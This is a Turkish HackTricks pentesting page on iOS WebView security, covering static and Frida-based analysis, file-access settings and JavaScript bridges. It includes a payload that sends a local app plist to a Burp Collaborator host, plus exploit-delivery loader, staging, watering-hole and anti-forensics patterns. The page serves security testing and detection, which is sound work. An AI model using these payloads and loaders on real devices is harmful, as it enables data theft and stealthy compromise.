iOS WebView’leri
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Bu sayfanın kodu buradan alınmıştır. Daha fazla ayrıntı için sayfayı kontrol edin.
WebView türleri
WebView’ler uygulamalar içinde web içeriğini etkileşimli olarak göstermek için kullanılır. Farklı WebView türleri iOS uygulamaları için farklı işlevsellikler ve güvenlik özellikleri sunar. Kısa bir özet:
-
UIWebView, iOS 12’den itibaren JavaScript’i devre dışı bırakmayı desteklememesi nedeniyle artık önerilmemektedir; bu durum onu script injection ve Cross-Site Scripting (XSS) saldırılarına karşı savunmasız kılar.
-
WKWebView, uygulamalara web içeriği eklemek için tercih edilen seçenektir ve içerik üzerinde daha iyi kontrol ile gelişmiş güvenlik özellikleri sunar. JavaScript varsayılan olarak etkinleştirilmiştir, ancak gerektiğinde devre dışı bırakılabilir. Ayrıca JavaScript’in otomatik olarak pencere açmasını engelleme ve tüm içeriğin güvenli şekilde yüklenmesini sağlama gibi özellikleri destekler. WKWebView’in mimarisi, bellek bozulmasının ana uygulama sürecini etkileme riskini en aza indirir.
-
SFSafariViewController, uygulamalar içinde standartlaştırılmış bir web tarama deneyimi sunar; salt okunur bir adres alanı, paylaşım ve gezinme düğmeleri ve içeriği Safari’de açmaya yönelik doğrudan bir bağlantı gibi belirgin bir düzeni vardır. WKWebView’in aksine, SFSafariViewController içinde JavaScript devre dışı bırakılamaz ve Safari ile çerezler ile verileri paylaşır, böylece uygulamadan kullanıcı gizliliğini korur. App Store yönergelerine göre belirgin şekilde gösterilmelidir.
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
WebViews Yapılandırma İncelemesi Özeti
Statik Analiz Genel Bakışı
WebViews yapılandırmalarını incelerken iki ana tipe odaklanılır: UIWebView ve WKWebView. Bu WebViews’leri bir binary içinde tespit etmek için, belirli sınıf referanslarını ve initialization yöntemlerini arayan komutlar kullanılır.
- UIWebView Tanımlama
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
Bu komut, binary içinde ona ilişkin metin dizelerini arayarak UIWebView örneklerini bulmaya yardımcı olur.
- WKWebView Tanımlama
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
Benzer şekilde, WKWebView için bu komut, kullanımına işaret eden metin dizelerini binary içerisinde arar.
Ayrıca, bir WKWebView’in nasıl başlatıldığını bulmak için, başlatmayla ilgili yöntem imzasını hedefleyen aşağıdaki komut çalıştırılır:
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
JavaScript Yapılandırma Doğrulaması
WKWebView için, JavaScript’in yalnızca gerekmedikçe devre dışı bırakılması en iyi uygulamadır. JavaScript’in devre dışı olduğunu teyit etmek için derlenmiş ikili içinde javaScriptEnabled özelliğinin false olarak ayarlanıp ayarlanmadığı aranır:
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
Sadece Güvenli İçerik Doğrulaması
WKWebView, UIWebView’in aksine mixed content sorunlarını tespit etme yeteneği sunar. Bu, sayfanın tüm kaynaklarının güvenli bağlantılar üzerinden yüklendiğinden emin olmak için hasOnlySecureContent özelliği kullanılarak kontrol edilir. The search in the compiled binary is performed as follows:
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
Dinamik Analiz İçgörüleri
Dinamik analiz, heap üzerinde WebView örneklerini ve onların özelliklerini incelemeyi içerir. Bu amaçla webviews_inspector.js adlı bir betik kullanılır; UIWebView, WKWebView ve SFSafariViewController örneklerini hedefler. Bulunan örneklerle ilgili URL’ler ve JavaScript ile güvenli içerik ayarlarına ilişkin bilgileri kaydeder.
Heap incelemesi, WebView örneklerini belirlemek ve javaScriptEnabled ile hasonlysecurecontent özelliklerini kontrol etmek için ObjC.choose() kullanılarak yapılabilir.
ObjC.choose(ObjC.classes["UIWebView"], {
onMatch: function (ui) {
console.log("onMatch: ", ui)
console.log("URL: ", ui.request().toString())
},
onComplete: function () {
console.log("done for UIWebView!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("URL: ", wk.URL().toString())
},
onComplete: function () {
console.log("done for WKWebView!")
},
})
ObjC.choose(ObjC.classes["SFSafariViewController"], {
onMatch: function (sf) {
console.log("onMatch: ", sf)
},
onComplete: function () {
console.log("done for SFSafariViewController!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log(
"javaScriptEnabled:",
wk.configuration().preferences().javaScriptEnabled()
)
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString())
},
})
script şu şekilde çalıştırılır:
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
Ana Çıktılar:
- WebView örnekleri başarıyla tespit edildi ve incelendi.
- JavaScript etkinliği ve güvenli içerik ayarları doğrulandı.
Bu özet, WebView yapılandırmalarının statik ve dinamik yaklaşımlarla analiz edilmesinde yer alan kritik adımları ve komutları kapsar; özellikle JavaScript etkinliği ve karışık içerik tespiti gibi güvenlik özelliklerine odaklanır.
WebView Protokol İşleme
WebView’lerde içerik işleme, özellikle http(s)://, file:// ve tel:// gibi çeşitli protokollerle uğraşırken kritik bir konudur. Bu protokoller, uygulamalar içinde hem uzak hem de yerel içeriğin yüklenmesine izin verir. Yerel içerik yüklenirken, kullanıcıların dosya adını veya yolunu etkilemesinin ve içeriği düzenlemesinin önlenmesi için önlemler alınması gerektiği vurgulanır.
WebViews içerik yükleme için çeşitli yöntemler sunar. Artık kullanımdan kaldırılmış olan UIWebView için loadHTMLString:baseURL: ve loadData:MIMEType:textEncodingName:baseURL: gibi yöntemler kullanılır. Öte yandan WKWebView, web içeriği için loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL: ve loadRequest: yöntemlerini kullanır. pathForResource:ofType:, URLForResource:withExtension: ve init(contentsOf:encoding:) gibi yöntemler genellikle yerel dosyaların yüklenmesi için kullanılır. loadFileURL:allowingReadAccessToURL: yöntemi, belirli bir URL veya dizini WebView’e yükleme yeteneği nedeniyle özellikle dikkat çekicidir; bir dizin belirtildiğinde hassas verilerin açığa çıkmasına neden olabilir.
Bu yöntemleri kaynak kodda veya derlenmiş binary’de bulmak için aşağıdaki gibi komutlar kullanılabilir:
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
Dosya erişimi açısından, UIWebView bunu evrensel olarak izin verirken, WKWebView dosya URL’lerinden erişimi yönetmek için allowFileAccessFromFileURLs ve allowUniversalAccessFromFileURLs ayarlarını getirir; her ikisi de varsayılan olarak false olarak ayarlanmıştır.
Güvenlik ayarlarını incelemek için WKWebView yapılandırmalarını denetleyen bir Frida script örneği verilmiştir:
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
Son olarak, exfiltrating local files amaçlı bir JavaScript payload örneği, yanlış yapılandırılmış WebViews ile ilişkili potansiyel güvenlik riskini gösterir. Bu payload, dosya içeriklerini bir server’a iletmeden önce hex formatına kodlar ve bu durum WebView uygulamalarında sıkı güvenlik önlemlerinin önemini vurgular.
String.prototype.hexEncode = function () {
var hex, i
var result = ""
for (i = 0; i < this.length; i++) {
hex = this.charCodeAt(i).toString(16)
result += ("000" + hex).slice(-4)
}
return result
}
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest()
xhr2.open(
"GET",
"http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" +
xhr.responseText.hexEncode(),
true
)
xhr2.send(null)
}
}
xhr.open(
"GET",
"file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist",
true
)
xhr.send(null)
WebView’ler aracılığıyla açığa çıkarılan native metodlar
iOS’ta WebView native arayüzlerini anlama
iOS 7’den itibaren Apple, WebView içindeki JavaScript ile native Swift veya Objective-C nesneleri arasında iletişim için API’ler sağladı. Bu entegrasyon esas olarak iki yöntemle sağlanır:
- JSContext: Bir Swift veya Objective-C bloğu bir
JSContextiçinde bir tanımlayıcıya bağlandığında otomatik olarak bir JavaScript fonksiyonu oluşturulur. Bu, JavaScript ile native kod arasında sorunsuz entegrasyon ve iletişim sağlar. - JSExport Protocol:
JSExportprotokolünü miras alarak, native özellikler, instance metodlar ve class metodları JavaScript’e açılabilir. Bu, JavaScript ortamında yapılan değişikliklerin native ortama ve tam tersi şekilde yansıtılacağı anlamına gelir. Ancak bu yöntemle hassas verilerin istemeden açığa çıkmasını önlemek için dikkatli olmak gerekir.
Objective-C’de JSContext’e Erişim
Objective-C’de bir UIWebView için JSContext, aşağıdaki kod satırıyla alınabilir:
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
WKWebView ile İletişim
WKWebView için doğrudan JSContext erişimi mevcut değildir. Bunun yerine, JavaScript’ten yerel uygulamaya iletişime olanak tanıyan postMessage fonksiyonu aracılığıyla mesaj iletimi kullanılır. Bu mesajlar için işleyiciler aşağıdaki şekilde ayarlanır; böylece JavaScript’in yerel uygulamayla güvenli şekilde etkileşim kurması sağlanır:
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}
Etkileşim ve Test
JavaScript, bir script message handler tanımlayarak native katman ile etkileşime girebilir. Bu, bir web sayfasından native fonksiyonları çağırmak gibi işlemlere izin verir:
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage([
"multiplyNumbers",
value1,
value2,
])
}
// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
Yerel bir fonksiyon çağrısının sonucunu yakalamak ve manipüle etmek için, HTML içinde callback function’ı override edebilirsiniz:
<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result)
}
</script>
</html>
Yerel taraf, JavaScript çağrısını JavaScriptBridgeMessageHandler sınıfında gösterildiği gibi işler; burada sayıların çarpılması gibi işlemlerin sonucu işlenir ve görüntüleme veya daha fazla işlem için JavaScript’e geri gönderilir:
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}
iOS Web Exploit Delivery & Staging Tradecraft
The following patterns have been observed in real-world iOS Safari/WebKit exploit delivery chains and are useful for analysis, detection, and controlled emulation.
Multi-stage loader via hidden iframes
A common staging pattern is to gate execution to avoid reinfection or analysis and then inject a hidden/off-screen iframe for the next stage:
<script>
if (!sessionStorage.getItem('uid') && isTouchScreen) {
sessionStorage.setItem('uid', '1');
const frame = document.createElement('iframe');
frame.src = 'frame.html?' + Math.random();
frame.style.height = 0;
frame.style.width = 0;
frame.style.border = 'none';
document.body.appendChild(frame);
} else {
top.location.href = 'red';
}
</script>
Minimal bir staging sayfası main loader’ı document.write() ile inject edebilir:
<script>
document.write('<script defer="defer" src="rce_loader.js"><\/script>');
</script>
Loader aşamaları sıklıkla sonraki JavaScript’i senkron olarak çeker:
function getJS(fname) {
const xhr = new XMLHttpRequest();
xhr.open('GET', fname, false);
xhr.send(null);
return xhr.responseText;
}
Daha sonraki aşamalar, bir Blob URL oluşturarak worker-benzeri bir bağlamda çalıştırılabilir:
const workerCode = getJS('rce_worker_18.4.js');
const workerBlob = new Blob([workerCode], { type: 'text/javascript' });
const workerBlobUrl = URL.createObjectURL(workerBlob);
Safari’yi WebKit/JSC yüzeyine yönlendirmek
Eğer bir hedef lure’ı başka bir tarayıcıda açarsa, bir protocol handler Safari’yi zorlayabilir:
if (typeof browser === 'undefined' && isIphone()) {
location.href = 'x-safari-https://example.com/<redacted>';
}
Şifreli stage fetch (ECDH + AES)
Bazı loaders exploit stage’larını iletim sırasında şifreler. Minimal bir istemci akışı şudur: ephemeral ECDH keypair oluşturmak, base64 public key’i POST etmek, şifrelenmiş blobs almak, bir AES key türetmek, decrypt etmek, sonra JavaScript’e decode etmek:
const kp = generateKeyPair();
const pubPem = exportPublicKeyAsPem(kp.publicKey);
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://<redacted>/stage?'+Date.now(), false);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({ a: btoa(pubPem) }));
const { a, b } = JSON.parse(xhr.responseText);
const aesKey = deriveAesKey(kp.privateKey, b64toUint8Array(b));
const js = new TextDecoder().decode(decryptData(b64toUint8Array(a), aesKey));
Watering-hole injection pattern
Ele geçirilmiş siteler, uzak bir remote script yükleyip ekran dışı bir iframe oluşturabilir ve script execution’a izin verirken bunu sandbox ile kısıtlayabilir:
<script async src="https://static.example.net/widgets.js?token"></script>
const iframe = document.createElement('iframe');
iframe.src = 'https://static.example.net/assets/index.html';
iframe.style.width = '1px';
iframe.style.height = '1px';
iframe.style.position = 'absolute';
iframe.style.left = '-9999px';
iframe.style.opacity = '0.01';
iframe.setAttribute('sandbox', 'allow-scripts allow-same-origin');
document.body.appendChild(iframe);
Post-exploitation anti-forensics indicators (JS implants)
- Geçici alan oluşturma altında
/tmp/<uuid>.<digits>/veSTORAGE,DATA,TMPgibi alt klasörler. - Crash loglarının
/var/mobile/Library/Logs/CrashReporter/dizininde silinmesi (çoğunlukla WebKit/SpringBoard alt dizgileriyle filtrelenir). /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/içeriğinin recursive olarak silinmesi.
iOS WebViews’de Hata Ayıklama
(Bu eğitim, https://blog.vuplex.com/debugging-webviews kaynağı temel alınarak hazırlanmıştır)
iOS webviews içindeki web içeriğini etkili şekilde hata ayıklamak için, Safari’nin developer araçlarını içeren özel bir kurulum gereklidir; çünkü console.log() ile gönderilen mesajlar Xcode loglarında görünmez. İşte ana adımları ve gereksinimleri vurgulayan basitleştirilmiş bir rehber:
-
Preparation on iOS Device: Safari Web Inspector’ı iOS cihazınızda etkinleştirmeniz gerekir. Bunu Settings > Safari > Advanced yolunu izleyerek yapın ve Web Inspector’ı etkinleştirin.
-
Preparation on macOS Device: macOS geliştirme makinenizde Safari içinde developer araçlarını etkinleştirmeniz gerekir. Safari’yi başlatın, Safari > Preferences > Advanced menüsüne gidin ve Show Develop menu seçeneğini işaretleyin.
-
Connection and Debugging: iOS cihazınızı macOS bilgisayarınıza bağlayıp uygulamanızı başlattıktan sonra, macOS’taki Safari’yi kullanarak hata ayıklamak istediğiniz webview’i seçin. Safari menü çubuğunda Develop’e gidin, iOS cihazınızın adına fareyi getirin; webview örneklerinin listesini görün ve incelemek istediğiniz örneği seçin. Bu amaçla yeni bir Safari Web Inspector penceresi açılacaktır.
Ancak sınırlamalara dikkat edin:
- Bu yöntem Safari’ye dayandığı için bir macOS cihazı gerektirir.
- Sadece Xcode ile cihazınıza yüklenmiş uygulamalardaki webview’ler bu şekilde hata ayıklanabilir. App Store veya Apple Configurator aracılığıyla yüklenmiş uygulamalardaki webview’ler bu yöntemle hata ayıklanamaz.
Referanslar
-
https://cloud.google.com/blog/topics/threat-intelligence/darksword-ios-exploit-chain/
-
https://github.com/authenticationfailure/WheresMyBrowser.iOS
-
https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


